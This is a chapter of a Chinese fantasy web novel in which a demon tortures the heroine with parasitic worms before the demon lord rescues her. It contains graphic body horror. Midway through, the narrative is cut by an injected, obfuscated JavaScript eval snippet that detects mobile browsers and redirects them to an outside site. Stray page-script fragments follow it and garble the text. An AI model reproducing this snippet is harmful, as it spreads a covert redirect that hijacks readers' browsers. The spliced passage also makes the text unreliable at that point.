何晚舟瞪着门口,眼睛有些发酸。
她听见地下‘噔噔噔’错乱的声响,知道是那些人上楼来了。
枯骨背手走进屋中,“在那厮毁掉北魔窟前,我们去秘密基地。”
“那些虫人都已经是完全体了?”
“是。”枯骨背后的侍从接话道,“不过她们依旧没有生出意识的迹象。最好的一个虫人小春折在魔宫,我们再找不到那么好的体质。”
枯骨将手反在身后,交叠摩挲,周遭侍从有序收拾物品,部分实力较差的魔侍先行撤退。
“没关系,没有小春,这不是送来了个新的。”
枯骨幽绿的目光,扫向何晚舟,叫她背后发寒。
枯骨蹲下身,抬起她的脸:“怎样,考虑好了没有,你到底说不说。”
何晚舟撇过脸。
枯骨:“那我只能把也你做成虫人,从此以后,你将成为行尸走肉,灵魂和□□都要受到无尽折磨。”
何晚舟笑:“这就是你的天赋神通?”
枯骨大笑,绿色眼睛鬼火般点亮:“我现在有些明白为什么那厮要留着你。你猜得不错,绿鬼幽虫就是我的天赋神通,可以将女人化作虫母,为我所用。”
他抚过何晚舟小腹,轻轻按住:“你们最有养分的地方,会成为幽虫的温床,给它们提供养分化作我的力量。当然如果你现在反悔还来得及。”
他倾身靠近何晚舟,低声诱惑道:“来,告诉我,姜尽寒的本命魔源在哪里?”
何晚舟:“姜尽寒这个家伙,阴阳不定,反复无常,经常半夜叫醒我工作,没什么人性说话也难听,我看他不爽很久了。”
枯骨满眼期待:“继续说下去。”
“说实话,我早就想要和他翻脸了。”
何晚舟笑脸骤暗,啐道:“可是我看你更不爽!”
“你的天赋神通,是从骨子里透出的肮脏,令人作呕,利用女人做养分做温床做你自己的力量,要我服从你这种恶心东西,哈哈哈,你做梦!”
枯骨抹去自己脸上混着血的唾沫,不笑了:“你的意思是我不如他?”
何晚舟刚要张口嘲笑,瞥见门外的一袭飘逸青纱,将原要说的话改了口:“你自然远远不如他!”
北魔气疯了。
他并未注意到门外的那片衣角,掐住何晚舟颈脖,冷笑:“你真是敬酒不吃吃罚酒!”
“来人!把箱子拿来!”
北魔侍从拿来一只人皮箱,搁在何晚舟面前,将其打开。
里面摆着一排琉璃瓶,瓶内有黑漆漆的东西在涌动。
北魔拿起一瓶,站起身抬脚碾在何晚舟的脸上:“你这种低贱的魔,本来不配我亲自动手。不过为了效果更好,也为了向姜尽寒表达我崇高的敬意,我会给你用上最好的虫,让你享受最极致的痛苦。”
何晚舟瞪大双目。
她掐住自己的喉咙,疯狂干呕。
北魔给她灌了一瓶什么东西后,就将她推进了叠宙术中。
这里是一片密林,她跪着的地上全是女人的尸体。
何晚舟身上大小伤口有十几处,皮肤被水泡的发胀,手脚被绳子勒出一道道血痕。
她手脚并用从地上爬起来,踩在烂泥一样的尸体上,环顾四周。
越看,她越反胃。
放眼望去是看不到头的枯树。树上一片叶子也没有,干枯树枝张牙舞爪,扭曲得像是一只只鬼手,破土而出。
跌撞朝前走了两步,她脚绵软无力,支撑不住跪倒在地。
何晚舟五脏六腑似乎都燃烧了起来,更恐怖的是,有什么东西在她的身体里爬。她五感越来越清晰,这种感觉也越来越强烈。
是绿鬼幽虫的幼虫,是北魔那令人作呕的天赋神通。
垂头呕出一口绿水,里面有什么东西在翻滚。何晚舟不敢看,她怕多看一眼,她会想死。
浑身撕扯剧痛,尖锐地割开何晚舟的灵魂,她神情恍惚,开始出现幻觉。
地上的这些开膛破肚的尸体爬了起来。一个个站在她面前。
她好像看见小春的脸。
小春笑着对她招手,说:“晚舟。”
眨眼之间,她鼻眼歪斜,眼眶中流出鲜血,又哭着问她:“你看见了我的孩子吗?它好可怜,它好可怜,它、好可怜啊!”
何晚舟挥手甩脱这些幻觉,又听见姜尽寒在她耳边威胁:“魔族是生来就会骗人的东西,他们最擅长使用谎言,你以为,你在我面前又算什么?不过是取乐的宠物,搞笑的小丑。”
“魔族,根本没有感情,你被骗了。”
何晚舟垂眸。
她明明看见了元一善就在门口。
可他只停留了一会。
他走了,他压根就没有救自己的打算。
就连他也是这般冷血。
何晚舟蜷缩着,环抱住自己。
好痛。
真的好痛啊。
何晚舟蜷缩在尸体里,耳边交织着各种声音。
小春:何晚舟你好狠。你见死不救,现在你痛死也是应该的!
姜尽寒:她是害你。
小春:谁来救救我,谁来救救我的孩子!
姜尽寒:都是烂泥而已。
元一善:晚舟我觉得你是魔宫最好的厨娘。
姜尽寒:他在骗你,我在骗你,全都都在骗你。
她分不清楚什么是真的,什么是假的,但她清楚一点。
不会有人来救她了。
根本就没有人要救她。
有什么东西钻进她的皮肤。剧痛之下,何晚舟再度清醒,她听见了落雨的声音。
可抬头,星空晴朗,没有下雨。
她回头,寒毛都竖了起来。
沙沙声,并不是她以为的下雨,而是从这些尸体的肚子里,钻出了无数手指粗细的幽虫。它们像蛇一样立起,发出的沙沙声,竟然大到让她以为是雨声。
密密麻麻的幽虫直立,嗅见新鲜的血肉气息,前赴后继地朝何晚舟扑来。它们贴上何晚舟的皮肤,针尖一般的口器刺进她的肉里,贪婪汲取她体内甘甜的血液。
何晚舟听见姜尽寒说:“你迟早要为你可笑的仁慈付出代价。”
现在,她真的付出代价了。
却比她以为的要更加沉痛。
虫群逐渐将她淹没,何晚舟抓着能抓到的一切朝前爬。
她可以死,但她绝不要死的这样丑陋这样难看。
她方才有听见水声。
陆地生长的虫子,一般都怕水,水也一定能将它们灌出自己的身体,她宁可被淹死,被呛死,也绝不要像地上这些尸体一样,变成那种千疮百孔的烂泥!
何晚舟忍着剧痛,颤抖着朝爬,觉得自己好像要融化在这条漫长的道路上。
她就像是一只爬在盐地里的蜗牛,等爬到尽头,说不定整个人都会四分五裂。
可她不管。她依旧往前爬。
前面果然有水源
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464498|185464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
耳边水声越来越大,何晚舟身体也越来越沉重。
就在双手触及到水的那一刻,附着在她身上的虫似乎也有所察觉,竟硬生生地扯着她倒退了两步。
何晚舟吃痛,脑子里只有一个想法——她要到水里去,她要洗掉这些令人作呕反胃的东西!
她绝不要死成这样。
灵光大作,何晚舟扒住河岸,用尽力气投身入水,溅起一片水花。
如她所想,这些虫生长在陆地上,见不得水,纷纷被冲走,或自主脱离,离她远去。可那些长在她身体里的虫,她甚至能感觉它们就要成熟,准备撕开她的躯壳,破蛹而出。
如果她能拥有强大的力量。
如果她有强大的力量就好了。
何晚舟仰面沉入水底,看见水面上的星空,眼泪血泪与水融在一起,消失无踪。
如果她能拥有强大的力量,就不会在这里为人所桎,被人所控,这般凄惨。甚至还需要寄希望于其他人。
她越沉越深,眼瞳涣散,失去了所有力气。
她看见面前张开一个巨大的黑洞。一只修长有力的手,拖住了她的后背,轻轻一带,她破水而出,落入一人怀中。
姜尽寒半托着她,衣着整洁,只有发丝被血染透,还在往下滴。
他盯着何晚舟,半晌才道:“我给你一半的力量,你把自己搞成这个样子?”
何晚舟终于听见了他的声音。
她侧头,呕出一大滩绿水,身体里还有东西在爬,在啃噬她的血肉。
姜尽寒面色愈发阴沉。他抬起何晚舟的脸,并起两指塞进何晚舟口中,抵住她喉咙。
何晚舟更想吐了。
身体的剧痛,心灵的恐惧,获救的喜悦,和被虐待的委屈,一齐爆发,叫她不停落泪。
姜尽寒冷声:“这么丢脸还哭?有眼泪也忍住,再哭,就让这些恶心东西咬穿你肚子!”
喉咙被压住,何晚舟哭不出声,但难过得整个人都颤抖起来。
姜尽寒的手贴在她冰冷的背上,让她觉得温暖,体内的东西,指尖灌注的魔气下尽数被搅碎。
何晚舟身体轻了一半,终于大哭出声。
“魔、魔尊。”
“好难听。我不喜欢。”姜尽寒在她衣服上擦了擦手指,发现越擦越脏,眉头也越蹙越深,“叫名字。”
“姜...姜尽寒。”何晚舟哭得抽搐,“姜尽寒姜尽寒。”
“嗯。”姜尽寒拍了拍她的头,“没事了。”
“姜姜尽寒。”何晚舟上气不接下气。
“好了。”姜尽寒说,“送你去喵授那里。”
他抬手,张开叠宙术,要将何晚舟送走,后者却牢牢抓住了他的衣袖。
姜尽寒说:“我要去杀东西。你去找喵授。”
何晚舟仍旧抓着他的衣袖不肯放,在他的衣摆沾染了一个个梅花似的手指印。
姜尽寒深呼吸一口气,俨然开始不耐烦:“喵授那里很安全,你再扯着我,我就把你扔到地上去。”
何晚舟喑哑着嗓子:“我看不见了。我看不清楚。无论你这次有多么野兽,我都看不见。”
姜尽寒:“所以?”
何晚舟:“所以我要和你一起去。”
姜尽寒眼睛逐渐明亮,他托住何晚舟:“你不怕也不提心吊胆,决定和我一起?”
何晚舟说:“对,我决定了。”
姜尽寒大笑:“好,那就带上你。”